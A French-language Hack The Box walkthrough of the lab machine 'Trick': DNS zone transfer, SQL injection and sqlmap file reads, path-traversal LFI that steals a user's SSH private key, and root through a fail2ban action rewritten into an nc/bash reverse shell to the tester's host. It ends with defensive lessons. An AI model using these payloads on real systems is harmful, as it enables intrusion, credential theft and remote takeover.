Hack The Box Walkthrough - Trick¶
Machine ciblée : Trick.
Répertoire : /home/kali/trick
Temps passé dessus : 5h
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="trick"
repository="/home/kali/$name"
ip="10.10.11.166"
cd $repository || mkdir $repository && cd $repository
grep "$ip $name ${name}.htb" /etc/hosts >/dev/null || echo "$ip $name ${name}.htb" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap -Pn -A -T5 -p - -oN $repository/full $ip
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-12 11:17 EDT
Nmap scan report for 10.10.11.166
Host is up (0.080s latency).
Not shown: 8347 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
80/tcp open http nginx 1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.03 seconds
Coup(s) d’épée dans l’eau :¶
Ce qui suit n’a servi à rien. Je le laisse quand même car il pourrait peut-être m’aiguiller pour d’autres box. Puis, la logique était ok, donc c’est dommage de le perdre ! On reprends au transfert de zone
Présence d’un site web avec un champ pour un contact. Présence du DNS, qui peut être intéressant également … On tente un peu d’énumération :
┌──(kali㉿kali)-[~/trick]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://trick.htb
┌──(kali㉿kali)-[~]
└─$ gobuster dns -d trick.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r trick.htb
/!\ Le -r trick.htb permet de definir le serveur dns qui doit repondre …
En attendant, on va jeter un oeil du cote du serveur postfix. J’ai regaerde sur hacktricks quelques trucs.
telnet trick.htb 25
Connected to trick.htb.
EHLO loc.al
220 debian.localdomain ESMTP Postfix (Debian/GNU)
250-debian.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
MAIL FROM: lo@cal
250 2.1.0 Ok
RCPT TO: root
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Pass-all
Hi ! I m a dumb server who accept everyone from everywhere !
.
250 2.0.0 Ok: queued as 2C9204099C
Le serveur postfix répond bien a la requête. On en conclu qu’il est très certainement mal configuré. On tente un petit coup de metadploit pour énumérer (toujours depuis la sheet de hacktricks). :
msfconsole -q -x "use auxiliary/scanner/smtp/smtp_version; set RHOSTS $IP; set RPORT 25; run; exit" && msfconsole -q -x "use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS $IP ; set RPORT 25; run; exit" && msfconsole -q -x "use auxiliary/scanner/smtp/smtp_relay; set RHOSTS $IP; set RPORT 25; run; exit" && msfconsole -q -x "use auxiliary/scanner/smtp/smtp_enum; set RHOSTS $IP; set RPORT 25; run; exit"
Le DNS Transfert de Zone¶
Je l’aurai pas eu seul car manque de connaissance, mais on peut tenter un transfert de zone. Pour ca, il faut lancer la commande suivante :
┌──(kali㉿kali)-[~/trick]
└─$ dig AxFR trick.htb @trick.htb
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 95 msec
;; SERVER: 10.10.11.166#53(trick.htb) (TCP)
;; WHEN: Mon Oct 17 08:44:21 EDT 2022
;; XFR size: 6 records (messages 1, bytes 231)
On remarque ici que l’on a un CNAME preprod-payroll.trick.htb. Vu les services proposés par la machine, on peut imaginer un site web.
Phase 2 : Analyse¶
On va donc chercher à regartder un peu plus en détail du côté du site web preprod-payroll.trick.htb
┌──(kali㉿kali)-[~/trick]
└─$ echo $ip preprod-payroll.trick.htb | sudo tee -a /etc/hosts

Bon, une page de co. On tente de l’injection SQL toute simple
username=root' OR 1=1;#&password=s
Coups dans l’eau bis repetita¶
Une fois connecte, on regarde la liste des utilisateurs. 1 seul, le notre. Un petit edit, on voit que le champs password est plein, mais caché… À moins que … Clic Droit -> Inspect ==> On voit le mot de passe en clair.

On tente en ssh :
┌──(kali㉿kali)-[~/trick]
└─$ ssh enemigosss@trick.htb
The authenticity of host 'trick.htb (10.10.11.166)' cant be established.
ED25519 key fingerprint is SHA256:CUKzxire1i5wxTO1zNuBswEtE0u/RyyjZ+v07fOUuYY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'trick.htb' (ED25519) to the list of known hosts.
enemigosss@trick.htb s password:
Permission denied, please try again.
Dommage. On repars alors sur le site web. Quand on regarde plus attentivement son url, on voit http://preprod-payroll.trick.htb/index.php?page=home
Il semblerait qu’il soit possible de faire une injection de code ici. Seulement, je ne suis pas arrivé à comprendre comment elle doit marcher.
Phase 2 - Bis : On repart sur de l’énumération¶
/!\ Je trouve cette phase d’énumération complètement illogique. Je préfère la suite de la phase 3 que j’ai réfléchis après avoir fini la box. Elle se trouve un peu plus bas sous Nginx.
Un trick peut-être de se dire que l’on a pas tout vérifier sur la partie énumération. Comme l’on sait que le serveur fait déjà des virtual host avec un nom DNS différent, on va voir s’il n’en a pas d’autre. Pour ça, on va utiliser une wordlist et vérifier si le serveur ne répond pas un autre site quand on lui demande un Host différent :
┌──(kali㉿kali)-[~/trick]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host:preprod-FUZZ.trick.htb" http://trick.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://trick.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 83 L 475 W 5480 Ch "www"
000000006: 200 83 L 475 W 5480 Ch "smtp"
000000005: 200 83 L 475 W 5480 Ch "webmail"
# Les sites renvoie la page par défaut. on l'exclut à l'aide d'un --hl 83
┌──(kali㉿kali)-[~/trick]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host:preprod-FUZZ.trick.htb" --hl 83 http://trick.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://trick.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000254: 200 178 L 631 W 9660 Ch "marketing"
Et nous voilà avec notre piste pour le Marketing ! De là, on peut reprendre les investiguations sur le site preprod-marketing.
N.B : Marche aussi avec `ffuf -u « http://trick.htb » -H « Host:preprod-FUZZ.trick.htb » -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 5480
Nginx¶
/!\ J’ai trouvé cette méthode après avoir fini la box. Je la trouve bien plus censée et logique pour moi. Il reste à voir si elle est exploitable « dans la vrai vie ».
Nous venons de trouver une injection SQL possible, ça veut dire que SQLMAP va peut-être nous permettre d’avoir plus d’information. Pour cela, on vérifie que ce dernier fonctionne :
┌──(kali㉿kali)-[~/trick]
└─$ sqlmap -u "http://preprod-payroll.trick.htb//ajax.php?action=login" --batch --data="username=aa&password=bb" --dbs --level 5
___
__H__
___ ___[)]_____ ___ ___ {1.6.9#stable}
|_ -| . [.] | . | . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
06:58:09] [INFO] testing connection to the target URL you have not declared cookie(s), 'while' server wants to set its own ('PHPSESSID=o0aau7p5jas...t7snjal8pe'). Do you want to use those [Y/n] Y
[...]
[06:58:10] [INFO] testing 'if' POST parameter 'username' is dynamic
[06:58:10] [WARNING] POST parameter 'username' does not appear to be dynamic
[06:58:10] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[...]
[06:58:22] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] Y
[...] #La liste des tests qu'il tente.
[06:58:23] [INFO] POST parameter 'username' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[...] #La liste des tests qu'il tente.
[06:58:34] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[...]
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 516 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=aa' AND 5283=(SELECT (CASE WHEN (5283=5283) THEN 5283 ELSE (SELECT 8502 UNION SELECT 4260) END))-- JMKz&password=bb
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=aa' OR (SELECT 7849 FROM(SELECT COUNT(*),CONCAT(0x71627a6a71,(SELECT (ELT(7849=7849,1))),0x7162767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sfyD&password=bb
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=aa' AND (SELECT 9983 FROM (SELECT(SLEEP(5)))cjWk)-- TPhU&password=bb
#' #Sert pour debuger l'affichage suite aux quote des injections SQL.
---
[06:59:08] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[06:59:09] [INFO] fetching database names
[06:59:09] [INFO] retrieved: 'information_schema'
[06:59:09] [INFO] retrieved: 'payroll_db'
available databases [2]:
[*] information_schema
[*] payroll_db
[06:59:09] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
[*] ending @ 06:59:09 /2022-10-18/
N.B: Le --level 5 est très important. C’est grâce à lui que l’on récupère l’ensemble des style d’attaques. Sans ça, on ne dispose que du Time-based (blind) qui est très lent…
Ok, ça fonctionne. On, se rends compte que l’on a un MySQL avec plusieurs style d’attaques possibles. Peut-on lancer une commande ?
┌──(kali㉿kali)-[~/trick]
└─$ sqlmap -u "http://preprod-payroll.trick.htb//ajax.php?action=login" --batch --data="username=aa&password=bb" --dbms=mysql --os-cmd "whoami"
[...]
[06:45:15] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 14 times
Bon, on aura pas de shell cette fois. On peut peut-etre trouver des infos sur le site web qui nous aiderai a faire notre LFI ? Sqlmap propose une option --file-read. Mais pour obtenir le fichier, il nous le chemin du ficher complet. On peut tenter de le deviner … Ou alors tenter de recuperer le fichier de configuration de nginx. On sait que l’on est sous un Debian. Par defaut, le fichier de conf d’une debian de Nginx est /etc/nginx/sites-enabled/default. Essayons :
──(kali㉿kali)-[~/trick]
└─$ sqlmap -u "http://preprod-payroll.trick.htb//ajax.php?action=login" --batch --data="username=aa&password=bb" --dbms=mysql --file-read "/etc/nginx/sites-enabled/default"
[...]
[06:36:44] [INFO] fetching file: '/etc/nginx/sites-enabled/default'
736572766572207B0A096C697374656E2038302064656661756C745F7365727665723B0A096C697374656E205B3A3A5D3A38302064656661756C745F7365727665723B0A097365727665725F6E616D6520747269636B2E6874623B0A09726F6F74202F7661722F7777772F68746D6C3B0A0A09696E64657820696E6465782E68746D6C20696E6465782E68746D20696E6465782E6E67696E782D64656269616E2E68746D6C3B0A0A097365727665725F6E616D65205F3B0A0A096C6F636174696F6E202F207B0A09097472795F66696C6573202475726920247572692F203D3430343B0A097D0A0A096C6F636174696F6E207E205C2E70687024207B0A0909696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A0909666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2E736F636B3B0A097D0A7D0A0A0A736572766572207B0A096C697374656E2038303B0A096C697374656E205B3A3A5D3A38303B0A0A097365727665725F6E616D652070726570726F642D6D61726B6574696E672E747269636B2E6874623B0A0A09726F6F74202F7661722F7777772F6D61726B65743B0A09696E64657820696E6465782E7068703B0A0A096C6F636174696F6E202F207B0A09097472795F66696C6573202475726920247572692F203D3430343B0A097D0A0A20202020202020206C6F636174696F6E207E205C2E70687024207B0A20202020202020202020202020202020696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A20202020202020202020202020202020666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2D6D69636861656C2E736F636B3B0A20202020202020207D0A7D0A0A736572766572207B0A20202020202020206C697374656E2038303B0A20202020202020206C697374656E205B3A3A5D3A38303B0A0A20202020202020207365727665725F6E616D652070726570726F642D706179726F6C6C2E747269636B2E6874623B0A0A2020202020202020726F6F74202F7661722F7777772F706179726F6C6C3B0A2020202020202020696E64657820696E6465782E7068703B0A0A20202020202020206C6F636174696F6E202F207B0A202020202020202020202020202020207472795F66696C6573202475726920247572692F203D3430343B0A20202020202020207D0A0A20202020202020206C6F636174696F6E207E205C2E70687024207B0A20202020202020202020202020202020696E636C75646520736E6970706574732F666173746367692D7068702E636F6E663B0A20202020202020202020202020202020666173746367695F7061737320756E69783A2F72756E2F7068702F706870372E332D66706D2E736F636B3B0
do you want confirmation that the remote file '/etc/nginx/sites-enabled/default' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[06:36:48] [INFO] retrieved: '1058'
[06:36:48] [INFO] the local file '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-enabled_default' and the remote file '/etc/nginx/sites-enabled/default' have the same size (1058 B)
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-enabled_default (same file)
[06:36:48] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
[*] ending @ 06:36:48 /2022-10-18/
┌──(kali㉿kali)-[~/trick]
└─$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-enabled_default
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name trick.htb;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
}
server {
listen 80;
listen [::]:80;
server_name preprod-payroll.trick.htb;
root /var/www/payroll;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
Génial, le fichier par defaut a le bon nom. On remarque notre site preprod-payroll mais egalement un encore inconnu : preprod-marketing.trick.htb. On va récuper les fichiers des sites pour voir :
N.B.: On remarque egalement que le service php-fpm de marketing est anormal (-michael). Un petit indice sur le nom d’utilisateur.
N.B. 2: On aurait pu tester d’upload un reverseshell avec la commande sqlmap -u "http://preprod-payroll.trick.htb//ajax.php?action=login" --batch --data="username=aa&password=bb" --dbms mysql --file-write //usr/share/webshells/php/php-reverse-shell.php --file-dest /var/www/payroll/reverse.php mais ca ne fonctionne pas.
┌──(kali㉿kali)-[~/trick]
└─$ sqlmap -u "http://preprod-payroll.trick.htb//ajax.php?action=login" --batch --data="username=aa&password=bb" --dbms mysql --file-read "/var/www/payroll/index.php"
┌──(kali㉿kali)-[~/trick]
└─$ sqlmap -u "http://preprod-payroll.trick.htb//ajax.php?action=login" --batch --data="username=aa&password=bb" --dbms mysql --file-read "/var/www/market/index.php"
Sur les deux fichiers, on remarques les bouts de codes qui corresponde à l’inclusion de fichier local (LFI) :
┌──(kali㉿kali)-[~/trick]
└─$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_var_www_payroll_index.php
[...]
<main id="view-panel" >
<?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?>
<?php include $page.'.php' ?>
[...]
┌──(kali㉿kali)-[~/trick]
└─$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_var_www_market_index.php
<?php
$file = $_GET['page'];
if(!isset($file) || ($file=="index.php")) {
include("/var/www/market/home.html");
}
else{
include("/var/www/market/".str_replace("../","",$file));
}
?>
Pour moi, la page market me parait beaucoup plus simple a remonter car on ajoute pas de .php après ou autre. On va tenter d’en abuser.
┌──(kali㉿kali)-[~/trick]
└─$ echo $ip preprod-marketing.trick.htb | sudo tee -a /etc/hosts
┌──(kali㉿kali)-[~/trick]
└─$ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash
On découvre donc notre utilisateur michael et son homedir.
Phase 3 : User¶
Essayons de recuperer des informations a propos de michael.
┌──(kali㉿kali)-[~/trick]
└─$ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.bash_history
┌──(kali㉿kali)-[~/trick]
└─$ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAj1gsVEpPokVNKo+3b/7uaCDkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizEhkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1LjnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryx michael@trick
Interessant, on peut se connecter sur ce dernier avec une cle SSH. Et si … ?
┌──(kali㉿kali)-[~/trick]
└─$ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa | tee ./id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
#Si on est puriste, on teste notre cle contre celle recupérée plus haut :
┌──(kali㉿kali)-[~/trick]
└─$ if [ "$(curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/authorized_keys 2>/dev/null)" = "$(echo "ssh-rsa $(ssh-keygen -e -f ./id_rsa |grep -v '\---' | grep -v 'Comment' | tr -d '\t\r\n') michael@trick")" ]; then echo "Les cles sont identiques" ; fi
Les cles sont identiques
┌──(kali㉿kali)-[~/trick]
└─$ chmod 600 ./id_rsa #Non, je me suis fait avoir.
┌──(kali㉿kali)-[~/trick]
└─$ ssh michael@$ip -i ./id_rsa
[...]
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
[...]
-bash-5.0$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
-bash-5.0$ cat ./user.txt
23334033e0feeed978bc9a9f74d2b121
Et oui, michel n’a pas compris que l’on ne mettait pas sa clé privée avec sa clé public. Michel est un boulet et on a le flag ! Merci Michel.
Phase 4 : Elevation de privilege¶
Passons à l’élévation de privilège si celle-ci est possible. On commence par voir si l’on peut se co en tant que root :
-bash-5.0$ source ./.bashrc #faut pas deconner non plus.
michael@trick:~$ su - root
Password:
su: Authentication failure
michael@trick:~$ sudo su
[sudo] password for michael:
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
Ohoh ! Bon, la premiere recherche internet sort la reponse du chall. C’est moyen bof, mais on va tenter de la refaire.
Fail2ban est un utilitaire qui lit les logs et exécute des actions. Par défaut, l’action exécutée consiste a “bannir” une ip (il applique un drop au niveau du pare-feu). Mais que se passe-t-il si l’on change cette action ?
michael@trick:~$ ls /etc/fail2ban/ -l
total 60
drwxrwx--- 2 root security 4096 Oct 18 14:57 action.d
-rw-r--r-- 1 root root 2334 Oct 18 14:57 fail2ban.conf
drwxr-xr-x 2 root root 4096 Oct 18 14:57 fail2ban.d
drwxr-xr-x 3 root root 4096 Oct 18 14:57 filter.d
-rw-r--r-- 1 root root 22908 Oct 18 14:57 jail.conf
drwxr-xr-x 2 root root 4096 Oct 18 14:57 jail.d
-rw-r--r-- 1 root root 645 Oct 18 14:57 paths-arch.conf
-rw-r--r-- 1 root root 2827 Oct 18 14:57 paths-common.conf
-rw-r--r-- 1 root root 573 Oct 18 14:57 paths-debian.conf
-rw-r--r-- 1 root root 738 Oct 18 14:57 paths-opensuse.conf
michael@trick:~$ cd /etc/fail2ban
michael@trick:/etc/fail2ban$ cat jail.conf | grep -v "#" | grep -v '^$'
[INCLUDES]
before = paths-debian.conf
[DEFAULT]
ignorecommand =
bantime = 10s
findtime = 10s
maxretry = 5
backend = auto
usedns = warn
logencoding = auto
enabled = false
mode = normal
filter = %(__name__)s[mode=%(mode)s]
destemail = root@localhost
sender = root@<fq-hostname>
mta = sendmail
protocol = tcp
chain = <known/chain>
port = 10000
fail2ban_agent = Fail2Ban/%(fail2ban_version)s
banaction = iptables-multiport
banaction_allports = iptables-allports
[...]
[sshd]
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
bantime = 10s
[...]
On constate 2 choses ici :
Le dossier action.d est accessible en écriture au groupe security dont on est membre.
Par défaut, fail2ban exécute l’action iptables-multiport. Voyons voir :
michael@trick:/etc/fail2ban$ ls -lA action.d/iptables-multiport.conf
-rw-r--r-- 1 root root 1420 Oct 18 15:06 action.d/iptables-multiport.conf
michael@trick:/etc/fail2ban$ cat action.d/iptables-multiport.conf
# Fail2Ban configuration file
#
# Author: Cyril Jaquier
# Modified by Yaroslav Halchenko for multiport banning
#
[INCLUDES]
before = iptables-common.conf
[Definition]
# Option: actionstart
# Notes.: command executed once at the start of Fail2Ban.
# Values: CMD
#
actionstart = <iptables> -N f2b-<name>
<iptables> -A f2b-<name> -j <returntype>
<iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
[...]
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
[...]
C’est assez explicite : actionban s’execute quand on banni quelqu’un, et l’on exécute une commande au choix. On peut donc la remplacer par un petit reverse-shell tel que bash -i >& /dev/tcp/10.10.14.72/3333 0>&1.
/!\ Par défaut,le fichier est en lecture seule pour nous (car l’on est other sur ce fichier). Mais comme on a accès en écriture sur le dossier, on peut déplacer le fichier, et le copier de nouveau afin d’avoir nos droits appliqués dessus le fichier. Sinon, vi peut “forcer” la modification avec un !.
michael@trick:/etc/fail2ban$ vi action.d/iptables-multiport.conf
[...]
actionban = /usr/bin/nc <ip> 3333 -e /bin/bash
[...]
michael@trick:/etc/fail2ban$ sudo /etc/init.d/fail2ban restart
Et depuis la kali :
┌──(kali㉿kali)-[~/trick]
└─$ sudo nc -vvlnp 3333 &
listening on [any] 3333 ...
┌──(kali㉿kali)-[~/trick]
└─$ ssh mic@$ip
mic@10.10.11.166 s password:
Permission denied, please try again.
mic@10.10.11.166 s password:
Permission denied, please try again.
mic@10.10.11.166 s password:
mic@10.10.11.166: Permission denied (publickey,password).
┌──(kali㉿kali)-[~/trick]
└─$ ssh mic@$ip
mic@10.10.11.166 s password:
Permission denied, please try again.
mic@10.10.11.166 s password:
Permission denied, please try again.
connect to [10.10.14.72] from (UNKNOWN) [10.10.11.166] 53158
fg
#On est sur le netshell
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
624e28c27bb0995b25569c1b3990b1af
N.B : Comme je ne paie pas hackthebox, cette partie était très chiante, on était plusieurs à travailler dessus. Force et persévérence.
Récapitulatif¶
Pour moi, ce style de box ne me parait pas particulièrement facile ni même réaliste.
Côté positif, j’ai appris comment faire un transfert de zone, chose qui est très intéressante et pourra me servir au lieu de faire de l’énumération à coup de wordlist. J’étais très fier que mon injection SQL ai marché.
Côté négatif, le premier site web ne semble servir à rien. Idem pour le postfix. Ensuite, l’idée de chercher un autre site web via les Header alors que l’on a dump tout le DNS et que le site web semble être à vocation publique et pas interne ne me parait pas réaliste.
A retenir¶
La sécurisation par l’obscure ne marche pas : ce n’est pas en “cachant” le 3e site web qu’on ne le trouve pas. Dans ce cas , il vaut mieux faire un serveur dédié.
Toujours penser à sécuriser son MySQL. Il est possible d’empêcher la lecture des fichiers locaux depuis une session MySQL.
Ne pas donner les droits de relance et de modification de fail2ban à un simple utilisateur car f2b s’exécute en tant que root.